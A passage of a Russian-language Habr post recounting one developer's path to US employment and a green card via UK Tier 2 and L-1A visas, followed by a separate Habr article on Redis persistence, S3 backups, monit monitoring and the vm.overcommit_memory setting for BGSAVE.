### NoSQL-чуваки
Телефонный скрининг, где спрашивали вопросы вроде того, чем мьютекс отличается от семафора и зачем они нужны. Чем мьютекс отличается от семафора, я знаю, поэтому скрининг я прошёл, и через пару дней было интервью, где мне надо было придумать архитектуру лифта, преобразовать одно слово в другое по одной букве за раз через последовательность слов из данного словаря, и прочие подобные не сильно сложные задачи. Увы, ещё в Нью-Йорке, буквально через пару дней я получил письмо, что это интервью я не прошёл. Попросил фидбек, мол, что бы прокачать — ответили, что я не думал вслух. И правда, не думал ведь. Ну что ж, в следующий раз будем думать вслух. И вам рекомендую думать вслух, это очень любят.
### Аналитики
Скрининг для меня пропустили благодаря пет-проектам, поэтому был только онсайт.
Компания искала людей в недавно сформированный машинно-обучательный отдел. Среди проектов этого отдела была разработка NLP-парсера для встроенного в их продукт поискового движка. Очень похожим проектом я занимался с Гермогеном, поэтому четыре из пяти раундов онсайта (которые проходили в один день подряд сессиями по 50-55 минут) я по большей части рассказывал про свой опыт этого проекта, и на третий-четвёртый раз уже делал это без запинки. Кроме этого было довольно простой раунд по плюсам (где надо было написать свой `auto_ptr`) и редкие вопросы по ML'ю уровня «как бы вы разрабатывали спам-фильтр».
Был дополнительный раунд с эйчаром, где меня спросили мою вилку. Я понятия не имел ни про какие вилки, поэтому тыкнул пальцем в небо со словами «ну, 160-200 в год, наверное». Эйчар что-то записал в блокнотик, мы пожали руки и разошлись.
Офферы и следующие шаги
-----------------------
Прилетел обратно в Россию. Неделю спустя, примерно в середине февраля 2014-го, почти синхронно получаю verbal offer'ы на синьора-помидора. В N предложили 105к (что для Техаса вполне норм) и бонус за найм aka sign-up bonus в 20к. Аналитики предложили прям посередине вилки — 180к (которые ровно в следующее же ревью они подняли до 225, так что, видимо, я серьёзно продешевил), но с учётом налогов штата и стоимости жизни выходило бы не сильно выгоднее техасских 105к. Были и другие различия, но они более субъективные (например, в N пишут на джаве, а я эту джаву даже за втрое большие деньги трогать не готов).
Что самое главное — обе компании при этом готовы спонсировать релокацию по H-1B, но, в отличие от N, у аналитиков есть офисы в других странах, поэтому у них есть резервный план: если H-1B не выдадут, то они могут меня на годик кинуть в другой офис и потом перетащить по L-1 (которая требует работы в зарубежном относительно США офисе). Это очень важное преимущество: у H-1B лотерейная система, и вероятность её выиграть с первого раза стремится к нулю. Например, я подавался на неё в итоге три раза и выиграл ноль раз, мой очередной вузовский приятель — 4-5 раз, и выиграл только последний. Раз мы тут машинные обучатели, то оценить вероятность успеха и доверительные интервалы предлагается читателю в качестве упражнения.
С другой стороны, по L-1 вы привязаны к работодателю, и ваше увольнение (даже с оффером от другого работодателя) означает необходимость вот прям сразу брать и ехать домой. Единственный способ этого избежать — податься на H-1B до увольнения (и выиграть, для перевода с L-1 на H-1B вроде тоже лотерейная система). С третьей стороны, L-1 может быть интересна семейным людям — в отличие от H-1B, супругам по ней проще работать.
Итак, принимаю оффер аналитиков и отказываюсь от техасских товарищей. Дальше надо сделать две вещи: пройти проверку упомянутых в резюме и на интервью данных aka background check и заняться, собственно, иммиграционными вопросами.
С проверкой всё понятно. Нужно:
* Дать контакты прошлых начальников или коллег (я потом их порасспрашивал — ни с кем не связывались).
* Подтвердить образование (я сразу сказал, что диплома у меня ещё на руках нет, поэтому там вопрос сразу снялся).
* Пройти criminal records check — в случае РФ это просто справка о несудимости из МВД. Пришлось постоять в очереди пару часов, и делали её месяц.
Параллельно начинаем прорабатывать иммиграционные вопросы. Аналитики их аутсорсят специальному агенству — Fragomen. По словам нескольких незнакомых друг с другом знакомых это вообще топовые иммиграционные юристы.
Fragomen в начале марта присылает мне опросник с кучей вопросов, на основе которого они будут подавать петицию на H-1B, и который надо заполнить до 31-го марта включительно. Заполняю я его, естественно, 31-го марта и несколько недооцениваю его объём, так что заканчиваю сильно заполночь (спасают часовые пояса — заполночь по Москве оказывается всё ещё 31-м числом в Америке).
Заполнил, отправил, ждём.
Ждём.
Ждём.
Где-то в мае приходит письмо от Fragomen, что ответа по петиции нет, поэтому лотерею мы, наверное, не выиграли, так что давайте начнём план Б, с L-1-визой.
Лирическое отступление
----------------------
…о том, как мы сделали тактическое отступление в Британию.
Один из офисов компании был там, и туда было разумнее всего делать визу в моей ситуации. Для визы в Британию в моём случае надо было:
* Сдать IELTS хотя бы на 4 из 9 по каждой из четырёх частей — чтение, письмо, аудирование и живое общение с живым человеком. Это не показалось мне проблематичным — достаточно было недельку по часу в день полистать подготовительные материалы, чтобы понять, что там вообще ждут. Самыми сложными ИМХО были аудирование и общение — по крайней мере, я плохо воспринимаю информацию на слух на любом языке (а там надо было распарсить объявление на вокзале со всеми сопутствующими шумами; я это на русском-то делаю весьма с переменным успехом), да и акцент у меня адовый. В итоге получил 6.5 из 9 за общение и по 8.5 за всё остальное, но про это в следующей статье.
* Сделать флюорографию на туберкулёз (и тащить с собой её распечатку в самолёт) в аккредитованной клинике (одной на Москву), так как Россия считается в этом плане неблагополучной.
* Предоставить диплом или доказательство опыта. Диплома у меня на тот момент всё ещё не было, поэтому я пошёл доказывать наличие опыта. Интересно, что честного слова и «компания с тех пор закрылась, а работал я контрактно» хватило — джентльменам верят на слово (тем более, что это не то чтобы было неправдой).
Со всем этим, а также с пакетом документов от Fragomen вроде оффера о работе я и пошёл в британский визовый центр. Там ты *просто* сдаёшь документы и биометрию и *просто* получаешь Tier 2 visa, даже полуторачасовые очереди стоять не нужно. Очень быстро и эффективно — от начала процесса (середина мая) до получения визы, по которой можно въехать работать (конец июля), прошло примерно два с половиной месяца, из которых я две недели прокрастинировал регистрацию на IELTS и ещё неделю-две ждал результатов.
Вместе с оффером о работе получаю оффер о релокации, весьма щедрый:
Если вкратце, то там 3 месяца временного жилья (при норме в месяц — компенсация за геморрой с лишней страной, жильё очень классное), контейнер для перевозки вещей (зависящий от количества переезжающих — семьям с детьми дают чуть ли не вдвое больше) и помощь специально обученных муверов с их упаковкой, а также помощь с поиском более постоянного жилья и подачей налогов в первые два года после релокации. Контейнером и муверами я не воспользовался — мне толком нечего было перевозить, всё влезло в рюкзак и спортивную сумку, так что у меня даже багажа не было, а системный блок и мониторы я потом позже почтой себе отправил. Помощь с поиском впоследствии оказалась очень полезной: специально обученные люди прошерстили объявления по установленным мной критериям и потом возили меня на машине по смотринам этих квартир, а также помогли с контрактом. Из условий релокации — если я уволюсь раньше, чем через два года, то пропорциональное количество потраченных на меня денег я должен вернуть: например, если я увольняюсь через 18 месяцев, то должен вернуть 25%.
Итак, по этой визе я въехал в Британию в начале сентября 2014-го (в этот раз дали бизнес-класс на четырёхчасовой полёт, а не как с N, 10 часов в эконом-классе). В лучших традициях я забыл распечатать оффер от работодателя, который нужно было показывать пограничникам, и понял я это уже при сходе с самолёта. Такой вот уж у меня modus operandi, видимо. Вайфая в окрестности пограничников не было, а сотовая сеть то ли не ловилась, то ли у меня роуминг не был подключён, поэтому с мобильника в почте его показать я тоже не мог. Короче, джентльменам действительно верят на слово.
На следующий год, весной 2015-го, Fragomen на всякий случай снова подают за меня заявку на H-1B (в этот раз мне ничего заполнять не потребовалось), мы снова достаточно ожидаемо не выигрываем в лотерею, и я сижу в Британии дальше.
В августе 2015-го года со мной связываются эйчары на тему «ну чего как там, не передумали в США ехать?» Не передумал, давайте обсуждать.
L-1
---
Готовят папку документов, где описаны в том числе мои обязанности и почему я такой важный, что меня надо переводить по L-1 (причём аж по L-1A, которая типа для менеджеров). Особенно понравилось, что я обязуюсь писать «bug-free code», но это тоже оставим для следующей статьи.
Кроме того, юристы помнили, что на нашей последней встрече диплома у меня не было, поэтому сначала подготовили документы на L-1, основываясь на опыте работы вместо высшего образования, и от меня требовалось только получить аффидавиты от работодателей о пяти годах опыта работы (при этом год-полтора в текущей фирме засчитывались). Делать это из Британии всё равно было сложно, да и диплом у меня уже был, так что мы в итоге решили идти по дипломному пути. Да и при прочих равных он всё-таки чуть надёжнее.
А, про разные L-1, да. Есть L-1A для менеджеров и L-1B для простого люда. Отличаются они сроком визы, семь лет против пяти, плюс, естественно, требованиями. Однако, в 2015-м году было относительно нормой переводить синьоров-помидоров по L-1A, и на это закрывали глаза — достаточно было того, что я «am managing or developing an essential function or product». Ну и для россиян срок не особо важен из-за взаимности aka reciprocity — американцы обидчивые и выдают визы гражданам $countryname на столько же, на сколько $countryname выдаёт визы американцам. Короче, больше, чем на два года, россиянам не выдают, потом надо всё равно продлевать.
Кроме того, есть blanket L-1 и просто L-1. Blanket — это когда (крупная) компания единожды получает разрешение на L-1-трансферы, и каждый конкретный кейс особо досконально не рассматривается. Вы просто приносите в посольство специальную форму (I-129s) с вашим именем и обоснованием вашей нужности вместе с общей формой, выданной компании (ЕМНИП I-797). С обычной же L-1 у вас в посольстве будет настоящее интервью, где будут проверять и вас, и компанию. Понятно, что при прочих равных лучше выбирать blanket.
Собственно, у меня и была blanket L-1A. В итоге в начале декабря 2015-го я пришёл в посольство США в Лондоне, отдал документы и паспорт улыбчивому человеку в окошке. Улыбчивый человек в окошке тоже совершенно не смутился, что теперь уже 24-летний молокосос едет как intracompany transferee по менеджерской позиции — о сила blanket L1! Мы с ним перекинулись смоллтолком о том, какой хороший район у той станции лондонской подземки, где я жил, и я пошёл домой. Паспорт с заветным штампиком с визой на два года (помним о взаимности) вернулся ко мне аккурат под Рождество, в конце декабря. Я разбираюсь с британскими делами вроде досрочного разрыва аренды и в середине февраля подписываю второй договор о релокации.
На этот раз я уже пользуюсь контейнером, и на этот раз мне предоставляют месяц временного жилья. Также в договоре указано, что мне будут делать гринкарту после года в США. Кроме того, отдельная смишнявка вышла с зарплатой: изначально-то мне предложили 180к и подняли за два ревью суммарно примерно на 35%, но только вот курсы валют… Когда я переезжал в Британию, курс доллара к фунту был в районе 1.7 (и зарплату мне в фунты пересчитали соответствующе), а когда я переезжал из Британии в США — 1.4. Короче, в этой математике 180к плюс 35% составило примерно 195к. Я написал своему манагеру, мол, как это понимать вообще, вот договор на 180к, вот два ревью, почините. Починили, получил нормально. При переездах такие детали тоже стоит иметь в виду и в идеале обговаривать их заранее.
Итак, по L-1 я, наконец, в феврале 2016-го года въезжаю в США. Не прошло и двух лет с принятия оффера! Дальше — получение гринки.
А, ну и весной 2016-го Fragomen традиционно подаёт на меня заявку на H-1B (в этот раз я тоже ничего не заполняю), и мы снова достаточно ожидаемо не выигрываем в лотерею. На этот раз попытка имеет смысл потому, что, насколько я помню, продлевать H-1B проще.
Глава о гринкарте
-----------------
…в которой всё мутно и запутанно, да ещё и параллельно развивается несколько сюжетных линий.
Через полгода работы в американском офисе, примерно в сентябре-октябре 2016-го, эйчары снова выходят со мной на связь и записывают меня на сессию тренинга по получению гринкарты, который проходит этак раз в квартал, и где вместе со мной присутствовало человек 50 — процесс действительно поставлен на поток. Там рассказывают, как что будет, ключевые даты, формы, требуемые документы и так далее. Компания большая, берёт людей не только из России, но и из условной Индии, а там всё сильно сложнее. В общем случае с точки зрения подаваемых заявок алгоритм получения гринки по работе выглядит так:
1. Подаётся заявка PERM labor certification в министерство труда aka Department of Labor, что соответствующего специалиста не найти в США, и поэтому вам такому прекрасному нужно ПМЖ aka гринкарта. Пруфом может быть отсутствие нанятых людей по публично доступным вакансиям на мою роль в течение времени порядка месяца-двух.
2. После успешной сертификации от DoL подаётся форма I-140 (петиция выдать вам это самое ПМЖ) в USCIS — министерство, которое занимается визами, иммиграцией и вот этим всем.
3. С третьим шагом есть варианты.
3а. Можно получить гринкарту, находясь внутри страны, для чего нужна форма I-485 aka adjustment of status — вы сидели на визе, а потом вам поднастраивают статус, и вы теперь гордый ПМЖеец.
3b. Можно идти по пути consular processing, когда на саму гринкарту вы подаётесь в зарубежном относительно США консульстве.
Вариант 3b в теории может быть существенно быстрее, но и в другой стране можно было бы застрять. Мне выезжать из страны было незачем и лень, так что я решил идти по пути I-485. Кроме того, второй и третий шаг можно делать почти одновременно: подавать I-485 не тогда, когда I-140 зааппрувили, а вскоре после самой подачи I-140 — называется concurrent filing и тоже сильно всё ускоряет.
Минус I-485 — международно путешествовать можно в стадиях 1 и 2, а вот как только вы подали I-485, то всё, путешествовать нельзя (ну, вернее, можно, но в момент выезда из страны USCIS посчитает, что от своей заявки вы отказались со всеми вытекающими). Однако, можно подать форму I-131 на получение Advance Parole aka AP, с которым путешествовать снова можно. Кстати, эта карточка совмещена с другой — Employment Authorization Document aka EAD, по которой можно в теории менять работу.
Вообще у этого пути есть очень много вариантов и ветвлений. Например, есть несколько разных категорий I-140:
1. EB-1 — для прошаренных товарищей на O-1 и тому подобных топов. У меня с тренинга ещё записано, что по этой категории могут идти носители L-1A, но со мной отчего-то это не сложилось.
2. EB-2 — для людей потупее вроде меня. Например, туда можно подаваться с advanced degree (всё, что круче бакалавра), либо имея бакалаврский диплом и пять лет опыта.
3. EB-3 — в том числе для людей без диплома, но с опытом работы. Например, я без диплома бы шёл по этому пути.
Для людей из СНГ это вообще ни на что не влияет, кроме, возможно, скорости обработки и возможности подачи I-140 и I-485 параллельно (на EB-3 это вроде нельзя было, но это неточно). Вот если человек из Индии или Филиппин, то да, там чем круче категория, тем быстрее его делом начнут заниматься, ибо там бэклог на несколько лет. Но там вообще и так какие-то адовые сроки ожидания, так что остаётся индийцам и филиппинцам только посочувствовать (и при наличии интереса про эту наркоманию под названием priority date можно совсем вкратце почитать [тут](https://en.wikipedia.org/wiki/Priority_date)).
Короче, через полгода после загруза этими аббревиатурами и деталями, в январе 2017-го, меня начинают пинать эйчары, мол, чего это я не начинаю процесс. Оказалось, что то ли я договор читал пятой точкой, то ли внутренний распорядок компании поменялся, но синьорам теперь можно ждать полгода, а не год, поэтому я уже полгода как мог бы подаваться на гринкарту. Ну что ж, заполняю специальный опросник от тех же Fragomen и подписываю одностраничный контракт на permanent residence sponsorship, который сводится к тому, что если я увольняюсь до получения гринкарты или в течение двух лет после её получения, то я должен возместить компании расходы согласно отработанному после получения гринкарты времени — прям как с договором о релокации чуть раньше.
Дальше мы начинаем идти по вышеупомянутому алгоритму, почти все документы за меня готовит Fragomen, с меня нужно только свидетельство о рождении. И тут возникает некоторая проблема: у меня нет с собой свидетельства о рождении. В силу ряда личных причин его получение из РФ заняло около полугода.
Тем временем вакансию компания подержала, никого не нашла, и в итоге PERM-заявку за меня подали где-то в августе 2017-го (а могли бы почти на полгода раньше, будь у меня все документы).
Дальше оставалось ждать результата. USCIS и DoL вообще довольно молчаливые — ты просто отправляешь форму, а потом месяцами ждёшь без особых уведомлений о продвижении. Да, у них есть веб-сайт, куда можно вбивать номер дела, но его информативность не сильно отличается от «ждите, обрабатываем», и бегает ли твоя петиция между разными чиновниками, или у одного из них она завалилась за стол, ты не узнаешь.
Не знаю, сколько именно там обрабатывалась эта заявка — это всё делалось иммиграционными юристами без особого привлечения меня. В мае 2018-го года стало очевидно, что она была зааппрувлена, так как эти самые юристы подали, наконец, I-140 и, спустя примерно неделю, I-485. Для этих двух форм нужно было заполнить гигантский опросник с вопросами о всех местах жизни за последние 7 лет (что, учитывая количество временных жилищ и гостиниц, в моём случае было довольно муторно), наличии военной подготовки, работы в местах лишения свободы охранником и планов на занятия полигамией (что бы это ни значило — говорят, так пытаются отсеивать радикальных исламистов).
Через два с половиной месяца после подачи, в конце июля 2018-го, я получаю приглашение на сдачу биометрии (то есть, отпечатков пальцев и фото) — это хороший знак, это означает, что процесс идёт, дело за стол не завалилось, и неминуемого отказа не планируется. В августе я сдаю биометрию.
### А что же L-1?
Внимательный читатель спросит: как же так, 0xd34df00d? Тебе же в декабре 2015-го выдали L-1 на два года, а тут вот уже 2018-й. Ты что, стал нелегалом?
Отличный вопрос, и он меня в то время тоже волновал, особенно в 2017-м году, когда виза подходила к концу, и было понятно, что гринку до её конца я не получу. На тот момент я уже продолбал аспирантуру не в последнюю очередь из-за эмиграции, поэтому возвращаться обратно уже не хотелось, включилась ловушка невозвратных затрат, и я начал немного напрягаться.
К сожалению, L-1 в моём случае нельзя было продлить, находясь внутри страны, поэтому для штампика в паспорте мне надо было бы выехать и податься на визу в зарубежном консульстве. Это потребовало бы либо возвращаться в Россию хотя бы на время (чего мне не хотелось по армейско-валютно-резидентным соображениям), либо получать визу в какую-нибудь другую страну и ехать туда (что было просто лень, да и при особом везении там можно застрять).
С другой стороны, как мне объяснили юристы, L-1 (да и вообще любая виза) — это основание для *въезда* в страну, а находиться в стране можно и по другим причинам. Одной из таких причин является наличие петиции в рассмотрении. Поэтому к концу 2017-го года мы с юристами сформулировали такой хитрый план: они подают петицию о продлении L-1, которую USCIS, *наверное*, завернёт, но которая может рассматриваться до 240 дней, и всё это время я могу спокойно сидеть в стране, что даёт мне время до примерно августа 2018-го. Конечно, в USCIS могут рассмотреть мою петицию и раньше, и отказать тоже раньше, поэтому тут остаётся надеяться на их общую слоупочность (спойлер: письмо с отказом мне пришло через два года после этого, уже после получения гринкарты, и на основании того, что а нафига мне L-1, если у меня уже есть гринка).
Так что юристы подали петицию на продление в декабре 2017-го, аккурат под окончание моей L-1, и я спокойно и легально оставался в стране дальше, заодно увидев, что всё-таки не зря они едят свой хлеб.
А в мае 2018-го, как я уже писал, за меня подали петицию на I-140, и уже эта петиция стала основанием для моего легального нахождения в стране, так что про всякие L-1 можно было со спокойной душой забыть.
### Что после подачи I-140 и I-485?
Во-первых, после того, как I-485 была принята в рассмотрение (где-то июнь 2018-го), на меня подали I-131 (который Advance Parole), чтобы я мог путешествовать (не то, чтобы мне это было очень нужно, но и не отказываться же).
Затем была упомянутая выше биометрия. Сходил, сдал биометрию, теперь просто ждём. В 2018-м году были какие-то государственные тёрки за бюджет, так что на зиму 2018-2019 случился [шатдаун](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BE%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B_%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D1%82%D0%B2%D0%B0_%D0%A1%D0%A8%D0%90), и рассмотрение моей заявки тоже, естественно, было приостановлено.
Впрочем, через полгода после подачи заявки можно пнуть USCIS специальным запросом, и в феврале 2019-го юристы этот запрос отправили. Ответа на запрос не было, но почти сразу после этого, в марте, мне приходит AP/EAD—карточка (USCIS действительно молчаливы, аки gcc, скомпилявший код без ошибок и предупреждений).
В апреле мне назначают интервью на гринкарту на начало мая, куда нужна самая гигантская из всех кипа документов, с оригиналами и копиями всех когда-либо поданных документов, включая изначальную L-1 и даже документы на blanket L-1, выданные самой компании (та самая форма I-797, в четырёх экземплярах). Кроме того, рекомендуется принести всё, что выставляет вас в хорошем свете, вплоть до условной характеристики от арендодателя. На подготовку этой кипы у меня абсолютно без преувеличения ушёл один рабочий день, в течение которого я озонировался по полной рядом с корпоративным ксерокосом. Результат выглядит примерно так и может составить конкуренцию самым толстым из имеющихся у меня книг:
Кроме того, нужны налоговые возвраты и свидетельство о прививках. С возвратами всё совсем просто, а для прививок надо получить свидетельство в одной из аккредитованных клиник (но аккредитация есть много у кого). Один мой знакомый просто пошёл к какому-то доктору в Бруклине, и доктор, подмигивая, спросил у него, мол, «а вы уверены, что у вас не было вакцин от $disease? может, таки в прошлом году были?» Я же честно пошёл в клинику, где у меня взяли кровь и прочие жидкости, сделали анализ на антитела от разной ерунды и решили поставить бустер от столбняка и MMRV. Вот укольчик, вот вам действительные в течение года документы в запечатанном конверте, получите-распишитесь-с-вас-триста-баксов.
### Что со сменой работы?
На L-1-пути вы почти всё время привязаны к работодателю. Какая-то свобода у вас появляется только после подачи I-140: через 180 дней после ожидания результатов по этой петиции можно воспользоваться [AC21](https://www.uscis.gov/policy-manual/volume-7-part-e-chapter-5) и поменять работодателя с сохранением валидности всех петиций. Естественно, только в той же области — переходить из программистов в дальнобойщики не стоит, а вот переделаться из плюсиста в хаскелисты, скажем, вполне можно. Однако, смена работодателя — лишний повод позадавать вам вопросы на интервью на гринку, поэтому лучше этого избегать.
Гринка, полученная по работе, вообще выдаётся под того работодателя, который вам её спонсировал. Это, естественно, не означает, что вы обязаны на него работать до скончания времён, но, как говорится, дух закона — что работодатель вами затыкает недостаток специалистов в стране, поэтому, например, вас на интервью на гринку могут спросить, планируете ли вы уходить от этого работодателя. Если вы ответите положительно, то вам могут спокойно отказать.
### Интервью
было назначено на 7:00 утра — США просыпается рано. Пришёл вместе с юристом из Fragomen, которая меня представляла и сидела рядом во время общения с чиновником из USCIS. Предполагалось, что она нужна, чтобы отвечать на каверзные вопросы, помогать с документами, опротестовывать смешные требования на месте, и так далее. Однако, у меня ничего не спрашивали, ничего не проверяли, и почти вся эта куча документов, что я так тщательно ксерил и пытался распихать хотя бы по двум папкам, не понадобилась — чиновник проглядел налоговые возвраты, письмо от работодателя, да, в общем-то, и всё. Прям даже как-то скучно. Посидел в кабинете чиновника ещё минут 10, пока он что-то заполнял в компьютере, потом он сказал, что на этом всё, и я пошёл домой. Юрист сказала, что вроде всё прошло норм. Ну что ж, будем ждать гринку.
Тут заодно так получилось, что в моём отделе как раз в апреле-мае немного сменилось руководство моей ветви компании, да и вообще как-то резко поменялась атмосфера, поэтому к концу мая я понял, что больше там не хочу быть. В начале июня 2019-го статус заявки сменился на «изготавливаем карточку», и я подал заявление на увольнение, за где-то полторы недели закрыл-передал дела, выплатил полную сумму, которую потратили на спонсорство моего ПМЖ (оказалось чуть больше 10 тыщ баксов, компания предлагала их растянуть на год, но это было совершенно не нужно), и в середине месяца обнаружил эту самую гринку в своём почтовом ящике. Хэппи-энд, можно пойти потребить по стейку с Гермогеном.
Итого
-----
Каковы затраты на всё это дело? Посчитать их трудно, потому что в таких случаях разумно размышлять в терминах альтернативных издержек, а их поди оцени ещё. Что точно можно сказать:
* Деньги — 160 баксов на начальную визу, 200-300 баксов на прививки перед гринкой. Ну и британская специфика — несколько тысяч рублей на IELTS, несколько тысяч рублей на анализы. А, ну и 10 килобаксов за то, что уволился слишком рано, но тут ведь как — с одной стороны, это было меньше моей месячной зарплаты на тот момент, с другой — я перешёл на работу, где платили ещё на N десятков процентов больше, поэтому я не считал бы это собственными издержками.
* Время на заполнение документов — часов 20-30 чистого времени за пять лет.
* Нервы — поначалу ноль, но потом, когда включились всякие ошибки восприятия, нервы начали появляться.
* Альтернативные издержки зарплаты и условий труда — вопреки стандартным представлениям о США, компания аналитиков была очень расслабленным и ненапряжным местом для работы. Например, первые два месяца у меня не было проекта (и потом ещё было примерно полгода, где у меня тоже не было проекта, и я сидел ковырял то ли хаскель, то ли идрис, и всем было норм). Потом поначалу я вот прям реально писал код часа четыре в день, а ещё чуть позже, когда фокус компании немножко сменился… не, не буду инкриминировать себя. Короче, другое такое место с таким же отношением *усилий* к зарплате я едва ли найду даже с гринкартой и без привязки к работодателю. Например, на том месте, куда я перешёл потом, работать уже надо было всерьёз, а в местах, где ты будешь получать за полляма в год (честными, без всяких стоков), ты будешь ишачить по 10-12 часов, а всё остальное время приходить в себя.
Чем мой опыт уникален? Пожалуй, только наличием вузовского нетворкинга и того, как я получил первую визу на первое интервью в США. Но сегодня 2021-й год, сегодня не 2013-2014-й, интервьюироваться вполне можно и удалённо. Да и судя по опыту некоторых других знакомых, компании вполне себе приглашают на онсайты и оплачивают перелёты и гостиницы (или делали это ещё два года назад, по крайней мере).
Что можно вынести?
* Нетворкинг рулит и педалит. Но с ним не рождаются, его можно нарабатывать — если даже такой хиккан, как я, осилил, то и ты сможешь, $юзернейм. Не обязательно это должен быть вуз, это могут быть и конференции (например, на одной из них я познакомился с важной русскоязычной угорающей по хаскелю шишкой из MS, но, увы, потерял его личный емейл), и участие в опенсорсе (да, у меня были резервные варианты через знакомых в разных опенсорс-проектах, но это совсем другая история), и бывшие зарубежные коллеги на удалёнке (как в итоге и вышло).
* При прочих равных надо выбирать компании с зарубежными офисами. Да и не при прочих равных тоже — стратегически это очень важно. H-1B почти невозможно выиграть за одну-две попытки, а (blanket) L-1 получается с околонулевым геморроем. Заодно можно поездить посмотреть другие страны.
* При прочих равных надо выбирать крупные компании с поставленным процессом. Там больше шансов, что они знают, что делают. Да и слова «я перевожусь в головной офис Амазликса» звучат в стенах посольства несколько иначе, чем «я перевожусь в головной офис Roga-Copyta Inc». Плюс, по секрету: некоторые компании на самом деле так себе места для работы молодого пышущего инициативой специалиста, и вытягивают только за счёт того, что про них известно, что они хорошо делают визы и гринки. Найти такие компании предлагается читателю в качестве упражнения.
* По L-1 можно получать вполне себе конкурентные зарплаты, особенно если сначала пытаться с H-1B (последнее и компании выгоднее — меньше геморроя с третьими странами). В конце концов, компания, к которой вы привязаны, может вас не ценить и другими способами, помимо зарплаты :]
* Более того, по L-1 компании невыгодно затягивать процесс с гринкартой: начинается цирк с конями и продлением истекающих виз.
* Обсуждать условия релокации надо на берегу, а не «ну я тут вроде устроился, а через годик про L-1 начну говорить». Нет, наличие договора о релокации минимизирует неопределённость.
* Разумное время получения гринки для условного россиянина или украинца — полтора года от начала процесса, если не забивать, не заполнять скучные бумажки в последний день перед дедлайном, не забывать документы и не попадать на шатдауны. Опыт ряда моих более ретивых знакомых, получивших в той же компании гринку именно за такой срок, это подтверждает.
* При всём этом надо забивать. Но это вообще универсальный принцип: чем больше ты забиваешь, тем меньше тебя расстраивают неудачи. Не надо гореть фаангом, не надо гореть США. Не приняли в одну компанию — примут в другую. Не уехал в одну страну — уехал в другую (а оттуда в исходно целевую можно и потом переехать). Но тут уж, как говорится, YMMV — вся эта беготня хороша, когда тебе примерно 25, а когда тебе 35, у тебя семья и дети, это всё, наверное, сложнее. | https://habr.com/ru/post/585466/ | null | ru | null |
# Redis in production
Хотелось бы рассказать о некоторых особенностях [Redis](http://redis.io/) при использовании на боевом сервере. Будут рассмотрены альтернативы при сохранении данных на диск, позволяющие достичь различной степени надёжности при сбоях. Так же будут приведены примеры конфигурации для резервного копирования и мониторинга. Используется Redis 2.2.11 на Amazon EC2 с установленной Ubuntu 10.10.
#### Резервное копирование
Мы используем Redis для построения пользовательских фидов. Восстановление всех фидов с нуля в случае потери данных занимает достаточно большое количество времени, поэтому мы делаем бекапы. Даже если вы используете Redis в качестве кэширующего сервера, в некоторых случаях прогрев кэша может быть долгим. Поэтому всегда рекомендуется делать резервные копии.
Redis делает RDB-снапшоты на основе следующих параметров в **redis.conf**:
```
save 900 100
save 300 1000
save 60 100000
dir /var/redis/
dbfilename dump.rdb
rdbcompression yes
```
Существует два persistence-режима: **RDB** и **AOF**. Стоит отметить, что в обоих режимах используется весьма надёжный способ записи информации на диск, который практически исключает ситуации потери данных при аппаратном сбое. Как много данных вы потеряете зависит лишь от выбора persistence-режима. **RDB** позволяет регулировать этот параметр гибко, но в среднем, при сбое, может быть потеряно около часа. В этом режиме **Redis** сначала пишет полный снапшот базы во временный файл и только после окончания записи на диск переименовывает его в рабочий. Это исключает потерю данных благодаря атомарности системного вызова **rename()**.
В случае с **AOF**, Redis ведёт лог операций, которые выполняют клиенты и записывает их в файл (по умолчанию каждую секунду). **AOF** это аббревиатура от Append Only File, а это означает то, что **Redis** не изменяет уже записанные данные, а лишь добавляет новые в конец. Благодаря тому, что при использовании **AOF**, **Redis** по умолчанию пишет данные на диск каждую секунду, максимум, что вы теряете в случае сбоя при использовании этого режима — это 1 секунда.
В проекте у нас используется **RDB** потому что час данных для нас потерять некритично. Кроме того, в худшем случае, данные могут быть восстановлены из основной СУБД.
Подробнее про persistence в **Redis**:
<http://redis.io/topics/persistence>
<http://antirez.com/post/redis-persistence-demystified.html>
Для бэкапов мы используем замечательный [backup gem](https://github.com/meskyanichi/backup), в котором есть поддержка **Redis**.
```
# encoding: utf-8
Backup::Model.new(:my_backup, 'My Backup') do
split_into_chunks_of 500
database Redis do |db|
db.name = "dump"
db.path = "/var/redis"
db.host = "localhost"
db.additional_options = []
db.invoke_save = false
end
compress_with Gzip do |compression|
compression.best = true
compression.fast = false
end
notify_by Mail do |mail|
# ...
end
store_with S3 do |s3|
# ...
end
end
```
Мы специально отключаем **invoke\_save** в конфиге потому что не хотим, чтобы основной поток Redis заблокировался записью на диск при каждом бэкапе.
#### Мониторинг
Для мониторинга используется [monit](http://mmonit.com/monit/), который настроен уведомлять о всех происходящих событиях. Настройки для него достаточно просты:
```
set mailserver localhost
set mail-format { from: monit-app1@example.com }
set alert support@example.ru but not on { action pid ppid }
check process redis with pidfile /var/run/redis.pid
start program = "/usr/bin/redis-server /etc/redis/redis.conf"
stop program = "/usr/bin/redis-cli -p 6379 shutdown"
group redis
```
#### Нехватка памяти при BGSAVE
При больших объёмах хранимых данных возможны проблемы в случае использования **RDB**-снапшотов. Для записи используется команда [BGSAVE](http://redis.io/commands/bgsave), которая делает форк текущего процесса и в этом форке данные записываются на диск. Таким образом, основной поток не блокируется и запись происходит асинхронно. Проблема в том, что в UNIX-системах при вызове **fork()**, в дочерний процесс так же копируется содержимое памяти, которую использует родительский процесс. Допустим, если **Redis** в текущий момент времени занимает 2Gb памяти, а в системе остался только 1Gb свободной памяти, то при выполнении команды **BGSAVE** возможна следующая ошибка:
```
[18696] 28 Mar 12:26:54 # Can't save in background: fork: Cannot allocate memory
```
В современных системах при копировании памяти для форков используется метод [Copy on Write](http://en.wikipedia.org/wiki/Copy-on-write). Память копируется только тогда, когда происходит запись в соответствующий участок. Redis делает форк процесса лишь для того, чтобы сохранить данные асинхронно, этот форк их никак не изменяет, а значит мы можем спокойно установить системный параметр **vm.overcommit\_memory** в значение 1. Этот параметр отвечает за возможность выделения большего объёма памяти, чем доступно. Добавляем в **/etc/sysctl.conf** строчку:
```
vm.overcommit_memory = 1
```
И перечитывам конфиг:
```
# sysctl -p
```
Подробнее про эту проблему:
<http://groups.google.com/group/redis-db/browse_thread/thread/dc4876861b174358>
